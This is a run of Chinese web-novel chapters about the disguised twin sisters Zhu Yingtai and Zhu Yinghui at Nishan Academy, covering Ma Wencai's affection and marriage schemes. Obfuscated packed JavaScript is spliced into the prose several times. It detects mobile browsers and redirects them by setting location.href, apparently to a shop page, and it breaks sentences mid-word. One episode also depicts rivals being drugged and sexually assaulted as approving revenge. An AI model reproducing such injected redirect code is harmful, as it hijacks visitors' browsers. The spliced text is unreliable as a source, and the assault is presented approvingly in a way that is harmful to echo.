此人与他们有生死大仇的概率并不高,但是为了以防万一,还是加上了死后的待遇。 如果真的是来寻仇的,动摇的几率很大。 这个破破烂烂的世道,贞洁没那么重要,正如这三人说的那样,事情都已经发生了。 若是能得到后半辈子的安稳平定,似乎也没有什么。 但是…… 荀巨伯啧了一声,简直想给陈颖鼓掌:“说得好!” 他微笑道:“可惜我不接受,我又不是来寻仇的。” “陈公子的话术,还是等到下一次遇到来寻仇的人再说吧。” 荀巨伯笑容满面,也不顾里面的人看不见,将空闲的手握成拳头,做了一个穿刺的动作:“几位放心,今夜过后,你们都都会好好的。” 说着,祝英台驾马与马车平齐,对着荀巨伯打了个手势:帮我问一问,下午的事情。 从刚刚偷听到的对话来看,这三人明显不知道她和姐姐最大的秘密。 自然也不怕被旁人听到。 荀巨伯会意,慢悠悠道:“不过嘛——若是你们能将祝氏兄弟的秘密说出来,也许我可以考虑调转马车头将你们送回去呢?” 他这一问之下,里面登时没声儿了。陈颖再开口时支支吾吾非常含糊。 这反应应证了祝英台和祝英回的猜测:他根本就不知道什么秘密,只不过基于对人性最基本的了解,认定所有人必然有不可言说的事情。 诈她们的而已。 祝英台心下少安,对着荀巨伯点点头,他会意,声音中带着遗憾:“既然三位说不出来,那在下就只能送你们去了。” “不过放心,几位公子都是世家出身,性命定然是无忧的。” 分明被两次强调了生命无忧的保证,陈颍几人却越发不安。 这种不安,在他们被扯下马车后绑着弄进了一间小小屋子,里面侯着的老年女子立刻上来给他们涂脂抹粉的时候,达到了顶峰。 还是荀巨伯出面与老鸨交谈:“人灌醉了么?” 老鸨忙不迭点头,灯光照耀下,涂了铅粉的脸跟死人一样白里透着铁青:“您就放心吧!” 荀巨伯眼皮一跳,不着痕迹地往后靠了靠:“既然如此,给我们三个开个房间。” “再来一桌好菜,不要酒。” 为了避免从人数上被认出来,同时出现在一个地方的,最多三个人。 按照高矮的顺序分成了两组。 马文才、荀巨伯、王述。 梁山伯、祝英回、祝英台。 在鞋垫的加成下,基本不可能认出来谁是谁。 三人从正门进了房间,其他三人翻窗子也坐了下来。 王述迫不及待地把面具掀开一半,喝了一大口茶,感叹道:“活过来了。” 马文才向着所有人,桃花目却看着祝英回:“今天白日我们下了他们的面子,当天下午,我的人就拦到了他们派遣去各地打探各家秘密的人。” 王述不以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝英回只掀开了一半的面具,当她垂首时,便什么也看不清,只能影影绰绰地看见小半个光洁的下巴,和殷红的唇瓣。 马文才收回了目光,模糊地想,他的妹妹的确和他生得很像。 连身形都很像。 众人用了些餐食茶水,便没心思继续下去了,有的歪在榻上不知在想些什么,有的坐在椅子上闭眼等待时机的到来,有的靠在窗边翻房间中的书本—— 然后啪地一声合上了书。 在这种地方还不忘翻一翻能看到的每一本书的,正是此刻面颊飞红的梁山伯。 他垂着长睫,努力地装作无事发生,将书又放回了原位。 然而,他刚刚惊慌之下合上书的声响已经把众人的目光都吸引过来了。 祝英台的目光在书和他之间打转,联想到此地是什么地方,立刻明白了一切,笑嘻嘻地抱胸瞅他。 荀巨伯就没那么好心了,他伸手就要去拿那本书,梁山伯连忙阻止他:“别看——” 向来稳重的人此刻脸都快红得滴血了,想了半晌才憋出一句:“此物非礼。” 荀巨伯意味深长地哦了一声,同样拿眼神瞅他。 就在梁山伯浑身不自在的时候,祝英回来解了围:“别玩儿了,对面那个房间有动静了。” 老鸨很贴心,安排的房间就在庾非言他们对面。 23. 摽有梅 几人重新把面具带好,悄无声息往庾非言等人的房间摸了过去。 烟花之地收拾人的方法不少,陈颖几个人被送进房间前就已经被放倒了。 口不能言,身体也动不了,只能被迫承受到来的一切。 房间里传来几声闷闷的碰撞声,就彻底寂静了下去。 祝英回估的时间刚刚好,一切都结束了。 她与祝英台堂而皇之地进入了房间,房间内灯火暧昧昏暗,也只勉强看得清人脸而已。 庾非言勉强睁开了眼睛,看了一眼一身黑衣的人。 祝英回察觉到了他的视线,将声音压低,弯腰在他耳边说:“公子醒了?这人总是不服,我们这就把他带下去了。” 庾非言本来就醉得不行,此刻胡乱点了点头,便又闭上了眼睛直挺挺躺在榻上睡着了。 祝英台拿衣服把陈颍一裹,连拖带拽地弄了出去,径直从大门出去上了马车。 陈颍早就没有力气挣扎了,只能绝望又灰暗地眼睁睁看着他们把他弄上马车,又进去了小倌馆。 不一会儿,又是两个人把董齐实塞进了马车里。 崔氿也是如此。 马车前方一沉,应该是那个驾驶马车的人坐了上来。 轱辘轱辘的声响再次响了起来,黑暗的夜幕遮蔽了所有,没有人知道这里到底发生了什么。 陈颍躺在车厢里,身体又痛又累,但神思却清醒又亢奋。 一遍遍地回想自己是怎么被迫在庾非言身下求欢的。 他没有再说话,只是直勾勾地瞪着车厢顶,然后被弄回了书院,放回了自己的宿舍。 那几个黑衣人最后甚至贴心地给他们盖上了被子。 第二日一早,换回常服的六个人就听到了陈颍他们三个人身体不适,请假休息的消息。 庾非言哈欠连天,但他和陈颍素来不对盘,又深恨陈颍常常奚落他爱男色,不免得讥笑一声:“陈公子怕不是昨晚玩儿得太起劲,伤了身体了。” 祝英回微微挑眉,眼梢瞟了一眼陈颍沉默寡言的小跟班儿:哟,他们还没怎样,庾非言就自觉自主地把黑锅背到头上去了? 她啧了一声,侧头同妹妹道:“英台,不会是昨天咱们干的吧?” 祝英台会意,当即配合了起来:“如果要这么说,那的确是,不好生休养容易酸疼受伤。” 祝英回往旁边一靠,左手搭在膝盖上有一搭没一搭地敲拍子,笑道:“马兄,你说你也是,下手太没分寸了。” 马文才单手支着额头,长睫垂着,桃花目合在了一起,俨然是在补觉。 听到祝英回的声音,他微微睁开眼,简洁地应了一声:“他活该。” 昨晚上做了半宿的贼,他都想不明白祝氏兄弟怎么能这么精神,明明王述都困到死皮赖脸地非要他代为请假。 只不过…… 马文才抬头看了一眼已经能看见身影的夫子,强打起精神坐正了。 祝英回见他还是困倦,灵巧地转了一圈手里的笛子,乘着夫子还没进来,直接换了个位置,坐到马文才身边去了。 这一学期尼山书院开的课程很是繁多杂乱,因而位置也不甚固定,基本是想坐哪儿坐哪儿。 只不过自从马文才一脚把自己的同席踹出去之后,就再没人敢跟他用一张课桌了。 祝英回这一下直接给马文才弄惊了,他微微后仰:“你做什么?” 祝英回变戏法似地一翻手,白皙修长的手中就挂了一个香囊。 她伸手让香囊在马文才鼻子下晃了一圈,清凉刺激的气息顿时就让他脑子清醒了不少。 马文才抿唇,墨黑的桃花目里倒映着单手支颐、笑意盈盈看着他的祝英回,他看着这个人抬了抬下巴,示意他接住香囊。 又听见祝英回说:“上课别睡觉,这里面是薄荷叶——中午好生休憩一会儿吧。” 他慢慢地抬手,接住了香囊。 今日他们上午的课是‘乐’,陶渊明慢慢悠悠地走了进来,他一进来,就注意到了祝英台身边那个空着的位置。 眼睛在教室里梭巡一圈,就看见了坐在马文才身边的祝英回。 他哼笑了一声,没有发表任何评论。 陶渊明早就看出这两个人有点子纠葛在,不过这二人从来不耽误学业,管他们做什么? 马文才家里已经给他议亲了,想来祝氏兄弟也快了。 甚至可以说,在座的各位多多少少都有几个候选妻子。 在这个十四五岁不成亲就要交高额人头税的年代,堂下坐着的已经是晚婚晚育人群了。 不过,说到成亲,陶渊明倒是真的想起了一件事儿。 于是,下课之后,陶渊明将祝氏兄弟留了下来,并且对他们提出了一个可能的妻子人选。 如果忽略掉祝英台呆滞的眼神,祝英回手中快被掰断的竹笛,这两兄弟倒是还称得上镇定。 陶渊明诧异道:“怎么了?我不过是说,让你们去见一见谢道韫。” “怎么都这个表情?” 对于祝氏姐妹来说,咏絮之才谢道韫是无可否认的偶像,也是让人心生向往的标杆,但从没想过有谈婚论嫁的可能性。 别的不说,这性别就不匹配啊! 祝英台艰难措辞:“如若我猜的没错,谢丞相应当是希望将这位嫁给王家子弟吧……” 陶渊明爽快地承认了:“不错!正是如此。” “不过以你的才气,和你哥哥的城府,谢安若是见到你二人,也会有惜才之心,想来也是不吝下嫁侄女的。” 祝英回:……好像被骂了? 陶渊明兴致勃勃:“如何,要不要我写信与谢安,荐一荐你二人。” “谢道韫虽然大你们两个几岁,但也不是什么大事。” 祝英回默了默,道:“多谢夫子好意,只是不必了,我兄弟二人仰慕咏絮才女的才华,并无亵渎之心。” 陶渊明颇为稀奇地看了她一眼:“祝英台不愿意我并不意外,但我原以为你会同意。” 祝英回:……? 然后就听到这位夫子笑眯眯地说:“毕竟,我见过那么多人,能如你这般有破釜沉舟之心的,寥寥无几。” “就连谢安,当年淝水之战时,也不是没有过犹疑害怕。” 他似乎很是好奇:“能告诉我为何拒绝吗?你看起来并不像是珍重姻缘的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340085|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祝英回一笑,神情锋锐:“夫子,也许,我已经找到了更合适的人呢。” “更何况,以貌取人实在不妥,我虽然不重视姻缘,却也没有随意许人的道理。” 陶渊明嘶了一声:“好吧好吧。” 祝英台的脸色也很不好看。 她已经听出来了,陶渊明认为姐姐和她不是一路人,说的是不珍重姻缘,实际上的意思却是不珍重亲人。 祝英台悄悄握住了姐姐的手,当祝英回讶然侧目时,她露出了一个笑容:姐姐,陶夫子不知全貌,但我知道,你我二人绝不会割席。 祝英回一愣,不自觉地露出一个笑容,反握住她的手。 就好像一个承诺:我们,绝不会分道扬镳。 陶渊明静静地注视着这二人,忽而笑着摇了摇头:“真是老了,看人的眼光也出错了。” 祝英回莞尔一笑。 不,夫子,你没有看错。 如果祝英回投身成男子,祝英台也是男子,那么他们的关系绝不会很好。 也许会因为同胎出生而比旁人多一分亲近,但是身为男子的祝英回绝不会容许另一个人靠近自己、以姓氏之利分享自己的权力。 但是,英台是女子,她们是双胎姐妹。 这个世道对女子的刻薄让她们相依相偎。 英台对权力的渴望、对世间的认知、乃至于从理想主义中生出的那一点点狠心。 都是由她教养而成。 祝英台性格中的天真和自由,让从文明社会落入野蛮社会的祝英回汲取到了一丝慰藉。 这世界上,也只有祝英台,才能完全理解祝英回蓬勃旺盛的野心和急迫深重的权欲。 她们从出生开始便不分彼此,世界上没有任何人比对方更加亲密。 二人齐声向陶渊明道别,一踏出去,就看见了靠在窗边不知道在想些什么的马文才。 他看向祝英回:“吃完饭之后你有事情吗?” 祝英回颇为惊奇:目中无人的马少爷终于也会问别人有没有时间了! 看来上学期王述的背刺对他多多少少还是有些影响的。 祝英台爽快回答:“我没什么事。” 马文才正想说什么,一道悠悠的歌声就从里面传了出来: “摽有梅,其实七兮。求我庶士,迨其吉兮。 摽有梅,其实三兮。求我庶士,迨其今兮。 摽有梅,顷筐塈之。求我庶士,迨其谓之。〔1〕” 马文才的话猝不及防被这首表明心意的诗堵了回去,冷玉一般白皙光洁的面庞布满了红霞:“不是!我没有想要说这个!” 祝英回平静地笑了笑,扭头对室内的陶渊明道:“夫子!您喜欢的人我和英台都乐意为您保媒拉线,不用再催促了!” 里面的歌声总算停了,陶渊明撇了撇嘴,低声抱怨:“真是个狠心的小子。” 他的抱怨发自内心,只是相较于刚才的认真,此时只是随口一说罢了。 他慢悠悠地收拾书本准备去食堂:“那小子心思明显,脸皮薄,偏偏又爱逞强不愿承认。” “看来是只有被这个狠心的小子玩弄于股掌之间喽。” 24.落情 马文才庆幸于祝英回毫无反应,却丝毫没有注意到他实在是反应过激。 一曲摽有梅又如何呢? 若真的从未心动情动,这也不过是诗经中平平无奇的一首罢了。 祝英回心道:这大约便是爱生贪嗔痴吧。 吃过了饭,午后祝英回便应邀到马文才和王述的宿舍里去了。 一进去,就看见了王述正在摆弄一个金色的金属小球。 祝英回眼看着王述把球抛了出去,然后那球不知怎的又砸了回来,直接砸到了王述脸色。 下午有骑射课,马文才换了一身便于运动的胡服,从内室走了出来,伸手将那金属球拿了过来。 他道:“我听祝英台说,你对于射箭不怎么上心?” 祝英回一愣,当即领悟他是在什么地方听见的,笑着摇了摇头:“非是如此,我只是不喜打猎而已。” 马文才看起来很是疑惑:“为什么?” 祝英回想了想,把寄生虫那一套淘换成了古人听得明白的话:“牲畜不知饥饱,平日里食水更是不如蓄养的,若是吃了什么不干不净的东西,人再吃了它被祸害了,岂不是死得很冤枉?” 她面前的人一顿:“你说得有理。” 既然不吃,当然也没有必要去射杀,平日里自然便不怎么练习射箭了。 马文才张开手,让她看自己手中那颗金球:“这是我从前练习的时候用的。” 他将球抛出,靴子一挑,弓箭便到了他手中,马文才拉弓搭箭,一箭便射落了回旋的金球。 奇妙的是,当马文才将箭拔下来,分明中了一箭的金属球又成了一个完完整整的球。 此物比寻常的靶子更轻,在抛出的力气下能在空中滞留,从而游动回旋。 实在是一件奇巧物件。 王述站在一边啧啧称奇:“这种好东西,你就这么给祝英回了?” 马文才将弓挂回床头:“左右我也用不到了,于我而言不过是个精致美丽的装饰品。” 他侧头看向祝英回:“让你拿去倒也是让它再派上了用处。” 话说得轻巧,若是真的无用,又怎么会带到书院里来。 祝英回估计,这东西恐怕对他来说还有些不一样的含义。 祝英回:…… 你这样让我装聋作哑得很心虚啊。 我成话本子里骗千金小姐身心钱财的渣滓了? 祝英回的眼神过于复杂,以至于马文才没能看明白她的想法,蹙眉道:“不过是个小物件儿罢了,你也不敢拿?” 祝英回掐了掐眉心,颇为无奈:“多谢马兄好意,只是我……” 她一时语结,竟然想不到什么好的借口拒绝,王述见她有拒绝的意思,立马踊跃发言:“马兄给我啊!祝英回不识货我……咳咳,我……” 他的话被马文才斜睨过来的眼神打住了,马文才抬脚就给了他一脚,冷笑一声:“你?别糟蹋了我的物件,祝英回好歹能够箭箭正中靶心,你能吗?” 王述左瞅瞅右瞅瞅,后知后觉地被这诡异的气氛激得打了个哆嗦,倒吸一口凉气,蹭蹭两步退了出去,顺道把门给带上了。 宿舍内一时安静了下来,一般来说,话都说到这份儿上了,也不该再继续纠缠了。 又或者说,马文才寻常压根儿也不是会注意到别人难处的人,更不要说把自己的东西给人了。 然而此刻,他却倏然起了不依不饶的心思:“你日后为官,就算是文官,局势瞬息万变,难不成真的任由别人拿捏你的短处?” 祝英回:…… 祝总前世情人一个接一个,她有钱漂亮又大方,前世的情人每一个都很愿意给她花时间花心思,但也顶多是她生日的时候,亲手做的生日蛋糕什么的—— 祝总很赞赏这份礼物,转头就给那一任情人打了一笔钱。 马文才纵使还没明白自己的心意,但每一个动作都是奔着认真恋爱然后成亲去的,祝英回现在是真的有点怵他。 但是马文才说的事情也的确是个问题…… 她琢磨了片刻,取了个折中方案:“你不若将为你打造这件器物的匠人告诉我,我自去打一件。” 马文才面无表情地看着她,被愚弄的羞恼登时涌上心头,当即伸手推开了门:“出去。” 祝英回从善如流地离开了,等回到她自己的宿舍,祝英台立刻迎了上来:“哥,怎么回事儿?” 青衣公子坐下来给自己斟了杯茶,组织了一下语言,才将事情原原本本地告诉了祝英台。 祝英台反应了片刻,骤然爆笑出声:“哥!你这是欠了情债啊!” 祝英回轻飘飘地瞟了她一眼,挑一挑眉,微笑道:“英台,此事很好笑吗?” 祝英台才不管她怎么眼神威胁,笑到直不起身才慢慢停了笑声,开始商议正经事:“虽然你不应该和马文才那个难缠的家伙有什么纠葛,但是——” “哥哥,他说的没错,你总不能在战场上顶着箭雨往前冲吧。” 祝英回叹气:“我也是这么想的,所以预备给良玉去个信,请她帮忙打听一下马家常用的匠人,再打一个。” 相较于崔婉等人,黄良玉家里在会稽郡根深蒂固,打听起来更加容易。 只是这一来一回,要耗费的时间恐怕就得一两个月了。 她二人正商议之时,窗外一个声音却打了个岔:“良玉?谁啊?你们俩的青梅竹马吗?” 祝英台被唬了一跳,定睛一看,却是王述,顿时笑骂:“你作死啊!吓我一跳!” 王述耸了耸肩,把手里的纸条丢到了靠窗的书桌上:“你以为我愿意啊,大中午的不睡觉,是马兄叫我来给你们递纸条。” 他抱怨一声:“下午他自己告诉你们不就得了,还让我跑一趟。” 祝英回伸手拿过纸条,垂眸看上面的字,银钩铁画笔锋锋锐,写着一个地址和一个名字。 显然就是那匠人的名字和住址。 她将纸条收了起来,心里有些五味杂陈,面上却是笑吟吟:“好了好了,喝杯热茶再回去吧。” “你今天中午不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王述被拽的一个踉跄,转移了注意力:“欸,祝英台你别扯我……祝英台!你再扯我我就生气了!” “我不和你打……” 被祝英台轻轻松松地“指点”了一波剑术之后,王述再也没心情去思考其他人的关系怎么样了。 这样的日子持续了将近半个月,才被一封意外又不意外的来信打破。 说不意外,是因为祝氏姐妹与写信的人书信来往甚密,这也不过是其中很普通的一封罢了。 说意外,则是因为这封信来到的时机过于不巧,不巧到正好被王述撞见了。 而更加不巧的是,王述认出了那封信的来源。 他瞄了一眼泰然自若,甚至在他面前就直接拆开看信的祝英回,狐疑道:“祝英回,你们什么时候和我家亲戚有了来往。” “还是能用这种信纸的身份?” 25.痴 说真的,其实王清然已经十分谨慎了,信纸也好信封也好,都是用的十分普通的款式—— 世家定义的十分普通。 但是这封信上面染上的,十两黄金一两的香独有的味道出卖了她。 好巧不巧自从上学开始就没有熏过香的王述鼻子又足够好用。 王述揉了揉鼻子:“好浓的味道……阿嚏!难怪马兄说再熏香就弄死我。” 这是个天气阴冷潮湿,蚊虫很多的朝代,为了驱赶各类蚊虫,熏香的味道香得很过头,平时用着的人还好。 对于不熏香的人来说简直是一种灾难。 尼山书院的夫子爱熏香的也并不多,所以学院的役者会定期在各处撒上白垩〔1〕。 祝英台好奇:“你为什么会觉得是你家的?就不能是谢家人吗?” 王述翻了个大大的白眼:“谢家那些人,平时就喜欢弄什么清淡雅致的香,若是谢家人,就算喜欢这种,气味也绝无可能这么浓郁。” “会混很多杂七杂八的香味,难闻死了。” 祝英台哦了一声,兴致勃勃地继续套情报:“是这样,那其他家喜欢什么样的?” “其他家里用的香就都比较杂了……桓家一家子大老粗,要么不用香,要么就臭死人。” “庾氏和他们一个路数,做事儿也好,用香也好都一股小家子气。” “陈家呢,就还惦记着那位尚书令〔2〕的荣光,拼命想装出个板正的样子来,学着谢家用气味浅淡的香。” “崔氏更加寡淡,颍川陈好歹还有个尚书令,他们家就完全是靠见风使舵的一手功夫。” 说到这里,王述撇了撇嘴,白眼儿都快翻到天上去了:“崔氏能有马家这样的亲戚就偷着乐吧……” “还有还有,卢家和他们一个样,你们是没见过卢义陵。但是我跟你们讲,这个人比马文才还要傲慢,也不知道哪儿来的底气。” 他忽而反应了过来:“你们转移话题?!” 王述气势汹汹地盘问:“喂!你们俩到底在搞什么啊!” “结交我们家的人,还瞒着我?”他脸上一派狐疑“不会是有什么事儿吧……” 祝英台啧了一声,不过她也没想过就这样瞒过去,王述这个人,看起来粗心大意脾气还燥,实际上心思很细,还有一种近乎于本能的敏锐。 祝英回用信纸扇了扇风,悠悠道:“你今年也十七八了吧,还没想过成亲的事情?” 王述嘟囔:“你这人怎么跟我爹似的,我还不想成亲。” 祝英回看着他,呶了呶嘴:“喏,就这,我告诉你什么?” 话音未落,单纯的王小公子瞪大眼睛:“你要跟我们家联姻?!” 祝英台假模假样地叹了一口气:“我们兄弟自知门第浅薄,配不上太原王氏……” “不不不!”王述连忙打断她,整个人都兴奋了起来“你早说啊!我有好几个堂姊妹,貌美如花又温柔贤淑,和你们简直是天作之合啊!” 他喜滋滋地盘算:“有我,还有马兄,到时候马兄娶你家妹子,你们娶我堂妹,咱们四个做亲戚!” “到时候什么谢家什么卢氏,都得靠边站!” 王述越琢磨越有信心:“我这就去信一封,问问家里的伯伯叔叔,他们肯定愿意!” “再过半个月就是三月三了,我请叔叔伯伯带着姊妹们来山下踏青,你们正好见一面!” 祝英回:…… 祝英台:…… 这可不兴写信,虽然不至于穿帮,但是她们绝不可能真的和王述的堂姊妹相亲。 祝英回瞥了王述一眼,似笑非笑:“哦?那王公子顺带帮我们把婚礼筹办了如何?” 王述一时话没过脑子脱口而出:“那敢情好——” 看着祝英台危险的目光,王述识时务地闭上了嘴,后知后觉地想起他自己是如何抗拒相亲的。 王述:…… 夭寿了,我居然试图给这俩人安排相亲。 他嘿嘿一笑:“你们还是自己来,自己来,我相信你们一定能在我王氏内觅得佳女子为配偶。” 祝英台哼了一声,从容地从姐姐手中接过信件,叠好放进了袖口。 如今天气虽然还寒冷,但是早桃已经渐次开放。 一阵风拂过,花瓣飘落,粉中含白,不胜娇羞。 祝英回抬头看着这些桃花,若有所思:“英台?” 祝英台嗯了一声:“怎么了哥?” “你说,我用这些桃花做香膏,送与王小姐如何?” 祝英台顿时惊了,张口就想问祝英回哪儿来的神奇想法,想了想又咽了回去,只含糊道:“不必吧……如此行径,未免唐突了她。” 大家只是合作伙伴,长不长期都不一定,更何况她们仨没有一个志在于此,送这种东西只会让人觉得莫名其妙。 祝英回微笑:“窈窕淑女,君子好逑,即便淑女善解人意,我也不能不有所表示。” 祝英台眉毛逐渐挑高,唇瓣向上弯起:“哥哥说得很是。” 于是,次日,向来早早就到了学堂的祝氏兄弟破天荒地到快敲钟的时刻还没到。 马文才没忍住看了一眼日晷,就在阴影指向代表卯正的刻度之前,两人终于姗姗来迟。 她二人带着书,裹挟着一身浓郁的桃花香气踏进书堂。 一日如此,还能说是一时兴起,结伴去赏了早早开放的桃花。 但是半个月内日日如此,便叫人不能不疑心。 更奇怪的,是王述好像对此没有什么看法,一副了然于心的模样,若是平常,这小子早就炸起来,抓着这两人盘问了。 王述知道,而我不知道。 马文才手里擦着弓,长睫微垂,待听见门被吱呀一声推开后,抬眸望去。 那双好看的眼睛意味不明地打量着王述:“他们俩和你倒是有了个秘密。” 王述被这莫名的语气弄得一个激灵,当时道:“本也不算什么秘密,只是和我家的女眷有关系,所以不好说而已。” “女眷?”马文才垂眸琢磨着这两个字,倏然眼神像利刃一般刺向王述“你们家有意同他们俩结亲么?” 他问:“是谁?” “祝英台?还是——祝英回?” 王述对他的敏锐习以为常,不以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419458|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为意地进来给自己倒了杯茶灌了下去,他咂咂嘴,歪头思索:“都行吧……” “我更倾向于祝英台,他哥看着就鬼精鬼精的,我家姑娘指定吃不住。” 他异想天开:“如果两个人都成了我家的,那就更好了。” 马文才慢慢地,慢慢地平静了下来。 他想,这倒也正常,祝英回只比他小一岁,本来也是议亲的年纪了。 以他的能力,若是能得这样一门得力的亲事,那必然能在朝堂上占据一席之地。 马上就是三月三了,那桃花香气应该就是他们在桃花上下了些巧心思,用以讨好议亲的女子,又或者是说—— 未来的妻子。 未来的妻子…… 马文才闭了闭眼,强行抑制繁复的心事仰头躺倒在床上,闭上了眼睛。 王述没注意到他的动作,话头拐到了另一个方向:“到时候,你娶了祝家的妹妹,祝氏兄弟娶了我的姊妹,咱们就算是亲戚了。” 马文才睁开眼睛:“我没有娶祝氏女的意思。” 王述耸了耸肩:“反正都是要娶妻的,依我看,你倒不如娶了祝氏女。” “你那日也见过了,虽然没有露出容貌,但是气质身形都是一等一的,若是再像了祝英回,我都想不到有更好的人选了。” 他诶了一声:“也不对,你可以娶我家的女孩儿嘛!这样,你们就是连襟了!” 马文才冷冷地盯了他一眼:“我不娶妻。” 马文才想起了那个见过一面的女子,她真的与祝英回生得好像。 她若嫁人,新郎官掀开盖头,也会看见如祝英回一般的面容一模一样地笑意盈盈么? 他重新闭上了眼,静静想,我不会娶她,否则祝英回会如何看我呢? 祝英回那般聪明,又那般傲气。 更何况,容貌相似,不是一个人,也不过是自欺欺人,羞辱他自己,也羞辱祝英回,更是欺负那个女子。 而那边,祝英台正在问她姐姐一个问题:“哥,你就不怕把马文才逼急了,他去我们家求娶小九,想要以相似的容貌解相思之苦吗?” 祝英回蹙了蹙眉,没好气地斜了她一眼:“别恶心我。” 说完这句话,她顿了顿,道:“他不会。” 祝英台追问:“为什么?” 祝英回翻着书:“因为我不会。” “若是他去了,就说明我看走眼了,咱们也不必用这么柔和的手段。” “柔和的手段?”祝英台咦了一声“你说你自己么?你知道他喜欢你,断了他的念头也就算了,还要继续和他做朋友。” 她摇着头感慨:“杀人诛心不外如是。” 虽然她很支持姐姐的做法,但是这一点是不敢苟同的。 她那风华绝代的亲姐白了她一眼,漫不经心道:“没办法啊,马兄这个人看似高傲,但实在是个很好很好的朋友。” “为一点儿女情长的小事失去这么一个朋友,怎么看怎么不值得。” 祝英台啧了一声,提出了另一个假设:“那如果,他干脆与你讲明白了。” “你要怎么办呢?” 26.争权 祝英回翻书的动作顿住了。 半晌,她道:“我也不知道。” 祝英台听见姐姐的声音:“不过,我可以肯定,无论是谁,都绝无可能阻挡我们的脚步。” 情爱蛊惑人心,但稍纵即逝,但唯有权力,才能帮助她们得到自己想要的公平和自由。 书院中的日子一如既往,上课、练武、为上巳节做准备—— 上巳节被家里安排了相亲的占据了大多数,不少人提前就开始保养和敷粉,弄得书院里到处都是铅粉飞扬。 祝英回眼皮子直跳,不由得怀念起红楼中所述“紫茉莉花种”,别的不说,紫茉莉花种研磨制成的粉至少不会有毒又废命。 不过,这也给了她启示。 铅粉滞涩,上妆虽然白,但是未免有过度惨白的嫌疑。 而若用珍珠粉代替,一是不够白,二则是目前的工艺很难磨得足够细腻。 水飞之法最早出现在宋代,这也制约了珍珠粉成为香粉。 祝英回心中琢磨了一下,觉得可以去信一封告知崔婉等人水飞之法,再尝试往珍珠粉里面加入玉兰、丁香等物。 制成的香粉往外兜售,盈利都在其次,关键在于给一个理由,让各个氏族的小姐能够名正言顺地聚拢到一起。 她将信封好,与桃花香膏一同交给了婢女—— 这个婢女并非是祝家派给她们用以照看生活起居的婢女,而是崔婉她们收拢用以传信跑腿的孤女。 因着聪明伶俐,又会些拳脚功夫,便被祝氏姊妹带在身边。 世道战乱,人人身如草芥,这种可怜的女子一抓一大把。 这封信将随着行商的商队一起,回到农庄之中。 祝英回做事并不曾遮遮掩掩,相反,写信也好,婢女下山也好,都是光明正大地发生在所有人眼皮子底下。 但就是太过于理所当然,除去两声调笑之外,竟无人怀疑信中的内容。 讨厌铅粉的不止祝氏姊妹两人,学堂里的夫子坚持着上到清明结束后几日,便把心不在焉的学生都放了几天假。 一放假,学堂里更是群魔乱舞,各种刺鼻的香气弥散在尼山书院里。 祝英台被这混乱又浓郁的气息冲得头昏脑涨,抱着书连滚带爬地逃回了宿舍,一进宿舍,砰的一声把门关上了。 看见坐在窗边的姐姐,张嘴想说话,一声干呕却先冒了出来。 “呕——” 她们姐妹向来不爱熏香,宿舍里也只有前些日子防毒虫的艾草气味,微微苦涩的气味安抚了祝英台的嗅觉,让她慢慢地缓过了神。 祝英台有气无力地瘫在床上:“哥哥,咱们这几日就不要下山了吧……” 从前的上巳节,她们都是随着家人去河边踏青,水带来了风,吹散了香味。 当时觉得不如何,现在在学堂中,直面这些气味,只觉得此类风气实在是令人难以接受。 祝英回对魏晋时期的习俗早就有所了解,一察觉到香气浓度超标,干脆利落地从山下购置了干粮、不容易坏的食材和碳火,预备窝在宿舍里度过这几天。 她优哉游哉地翻了一页书,偏了偏头示意宿舍内堆着的东西:“我已经准备好了,咱们就在宿舍内煮温鼎便可。” 祝英台从床上弹起来,震惊地看了一眼不知道从何时放在那里的东西,再看了一眼胸有成竹的姐姐,最终憋出了一句:“哥——你故意不告诉我!” 看起来温和,实际上焉坏的女子唔了一声,镇定自若:“总得让你亲身体验一下,万一你就喜欢这种呢。” 凤目中蕴含着狡黠:“当哥哥的,当然要尊重弟弟的喜好。” 祝英台当时就扑了上去,和姐姐扭在了一起:“祝英回!” 她手疾眼快地把被腌入味的外衫脱了下来,以迅雷不及掩耳之势丢到了亲姐脸上,整个人死死地压在祝英回身上,坚决不让她有机会把外衫弄下来。 她眉飞色舞,杏眼晶亮:“哥哥,你不如看看,你喜不喜欢这个味道!” 祝英回伸手撑着祝英台的身体,微微后仰头,坚决不让那气味充斥自己的鼻子:“我不喜欢,英台,你可以起来了。” 祝英台装作没听见,嘴里嚷嚷着让祝英回也体会一把。 两姊妹在窗边厮打了一会儿,倏而,祝英回低声说了句什么,祝英台听清之后,眼神一凝,立刻爬了起来。 她整了整自己的衣服,嫌弃地将那件充斥着汗水和各种乱七八糟香气的外衫随手丢在了地上。 